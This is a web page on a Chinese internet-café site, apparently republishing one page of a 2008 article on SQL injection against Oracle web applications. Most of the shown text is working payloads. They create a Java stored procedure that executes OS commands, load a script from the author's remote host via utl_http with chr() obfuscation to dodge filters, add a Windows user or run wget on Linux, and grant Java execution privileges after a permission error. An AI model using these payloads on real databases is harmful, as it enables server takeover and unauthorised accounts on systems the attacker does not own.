网站首页 Cn029.Com - 西安网吧在线℡

Cn029.Com - 西安网吧在线℡ 西北地区网吧行业门户站点www.cn029.com,本站为您提供网吧维护,每日更新最新网吧技术,政策法规.为您提供各类网管软件,网吧软件,游戏更新软件,承接西部地区网吧维护,希望与您共同讨论网吧经营管理的经验!

投递文章  投稿指南 RSS订阅 西安网吧在线通告:
搜索: 您的位置西安网吧在线网吧维护Web服务器 → 文章内容

浅谈 Oracle web环境注射技术

  作者:佚名   来源:IT专家网   更新时间:2008-4-18 2:48:21   【 】  评论:0
作者: 剑心,  出处:whitecell.org , 责任编辑: 韩博颖, 
2008-04-15 09:10
  本文只是从一个web安全的角度来看如何入侵一台被防火墙防护的Oracle数据库,对一些入侵技术做了web入侵上的总结和延伸,尽量将原理讲得明白。

  


EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*;import java.io.*;public class JAVACMD{public static void execCommand (String command) throws IOException {Runtime.getRuntime().exec(command);}};'';END;';
  这样就创建了一个JAVACMD的java包,里面含有个函数execCommand,然后开始创建Oracle的存储过程,

  


EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME ''''JAVACMD.execCommand (java.lang.String)'''';'';END;';
  这样放到我们的http://www.loveshell.net/shellcod.txt里,然后依次请求上面的那个注射的语句(使用之前请先将其中的utl_http.request('http://www.loveshell.net/shellcod.txt')替换为utl_http.request(chr()....chr())的形式),就会在服务器创建存储了个javacmdproc过程了,参数是字符串,会被当作命令执行。我们执行试试

  将shellcode.txt内容换成

  

EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin javacmdproc(''''cmd.exe /c net user loveshell loveshell /add'''');end;'';END;';
  或者在linux下就是

  

EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin javacmdproc(''''wget http://www.loveshell.net ;-O /tmp/loveshell'''');end;'';END;';
  呵呵,有可能成功,但是也有可能出现类似于下面的情况

  ERROR at line 1: 

ORA-29532: Java call terminated by uncaught Java exception:
  java.security.AccessControlException: the Permission (java.io.FilePermission
  <> execute) has not been granted to LOVESHELL. The PL/SQL to grant
  this is dbms_java.grant_permission( 'LOVESHELL', 'SYS:java.io.FilePermission',
  '<>', 'execute' )
  ORA-06512: at "LOVESHELL.JAVACMDPROC", line 0
  ORA-06512: at line 1
  没关系,java在oracle也是需要权限的,我们需要把相关的权限给它才可以哦!在Oracle里这样操作的

  

EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''grant javasyspriv to loveshell;'';END;';
  EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin exec dbms_java.grant_permission(''''LOVESHELL'''',''''SYS:java.io.FilePermission'''',''''<>'''',''''execute'''');end;'';END;';
  各个服务器可能设置不一样,根据他提示要求的权限赋予给它就可以了。

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。

上一页  [1] [2] [3] [4] [5] [6] 

Tags: 网吧 硬件 价格 最新  
责任编辑:Cn029.Com
  • 请文明参与讨论,禁止漫骂攻击。 用户名:新注册) 验证码: 验证码,看不清楚?请点击刷新验证码

    分 值:100分 85分 70分 55分 40分 25分 10分 0分

    评论总数:0条,平均得分:0[ 查看全部 ] 网友评论
    热门图文
    关于我们 - 联系我们 - 广告服务 - 法律声明 - RSS订阅 - 网站地图 - 返回顶部